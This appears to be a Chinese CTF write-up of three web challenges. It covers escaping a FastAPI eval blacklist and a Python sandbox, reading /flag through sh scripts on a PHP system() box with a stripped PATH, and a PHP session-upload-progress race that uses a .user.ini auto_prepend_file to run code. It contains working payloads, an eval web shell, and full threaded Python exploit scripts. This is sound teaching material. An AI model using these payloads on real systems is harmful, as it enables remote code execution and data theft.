fastapi2 for 阿狸
过滤名单
['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']
fastapi的题目,很熟悉的访问文档redoc和docs
安全的计算器v2(flag就在根目录,但我不相信你能得到她)
q=7*8 {"res":56,"err":false} 这里的SSTI不需要{}即可解析
clear()方法
youdontknow = ['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']'] print(youdontknow) youdontknow.clear() print(youdontknow) ['import', 'open', 'eval', 'exec', 'class', "'", '"', 'vars', 'str', 'chr', '%', '_', 'flag', 'in', '-', 'mro', '[', ']'] []
查看当前的全局变量
post参数q=dir()
//print(eval('(dir())')) { "res": [ "__name__", "__doc__", "__package__", "__loader__", "__spec__", "__annotations__", "__builtins__", "__file__", "__cached__", "Optional", "FastAPI", "Form", "uvicorn", "app", "hello", "youdontknow", "calc" ], "err": false }
q=youdontknow
{"res":["import","open","eval","exec","class","'","\"","vars","str","chr","%","_","flag","in","-","mro","[","]"],"err":false}
q=youdontknow.clear()
q=open("/flag").read()
即可拿到flag
也可以执行命令
q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()
后端逻辑
def calc(q: Optional[str] = Form(...)): try: for kiword in youdontknow: if kiword in q: return {"res": "hack out!", "err": False} return {"res": eval(q), "err": False} except: return {"res": "", "err": True}
原谅4
hint
老前辈说过“最安全的系统就是什么都没有”,我把没用的命令都删了,看你还怎么执行
你知道系统环境变量里的PATH是干什么的吗?
<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);
?xbx=ls / 发现根目录存在/flag,但是重定向和外带均失败
?xbx=ls /bin //ls rm sh
sh脚本读取文件和访问
cat coleak.txt coleak1 coleak2 coleak3
/bin/sh a
#!/bin/bash cat ./coleak.txt | while read LINE; do echo $LINE done
#!/bin/bash while read LINE; do echo $LINE done < ./coleak.txt
#!/bin/bash exec < ./coleak.txt while read LINE; do echo $LINE done
#!/bin/bash while read LINE do echo $LINE done < ./coleak.txt
payload1
这里用-e进行转义设置,\n换行,$表示原来的$
?xbx=echo -e "%23!/bin/sh\nwhile read LINE\ndo\necho \$LINE\ndone < /flag" > readflag ?xbx=/bin/sh readflag
payload2
&需要编码为%26
重定向,一般来说1是正确输出,2是错误输出
我们在sh /flag 后面加上2>&1
代表将2(指的是错误输出)重定向到&1,这里&代表等价于,即2输出重定向到等价于1的位置
?xbx=sh /flag 2>%261
原谅6_web3
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=coleak,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
<?php error_reporting(0); highlight_file(__FILE__); include('waf.php'); $file = $_GET['file'] ?? NULL; $content = $_POST['content'] ?? NULL; (waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;
waf过滤了一堆的东西,但是没有过滤.user.ini
脚本如下
import io import requests import threading sessid = 'coleak' url = "http://599c98c3-9ed1-4837-80a2-5152e40ce1e2.challenge.ctf.show/" def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat flag.php');?>"}, files={'file': ('coleak.txt', f)}, cookies={'PHPSESSID': sessid}) def read(session): while True: resp = session.get(url+"waf.php") if "coleak.txt" in resp.text: print(resp.text) if __name__ == "__main__": event = threading.Event() with requests.session() as session: # 第一步上传.user.ini文件,将我们的session文件内容添加到默认头 coleak = { "content": "auto_prepend_file=/tmp/sess_" + sessid } session.post(url + "?file=.user.ini", data=coleak) for i in range(1, 30): threading.Thread(target=write, args=(session,)).start() for i in range(1, 30): threading.Thread(target=read, args=(session,)).start() event.set()
附原脚本
import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('whoami');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data) if 'tgao.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in xrange(1,30): threading.Thread(target=write,args=(session,)).start() for i in xrange(1,30): threading.Thread(target=read,args=(session,)).start() event.set()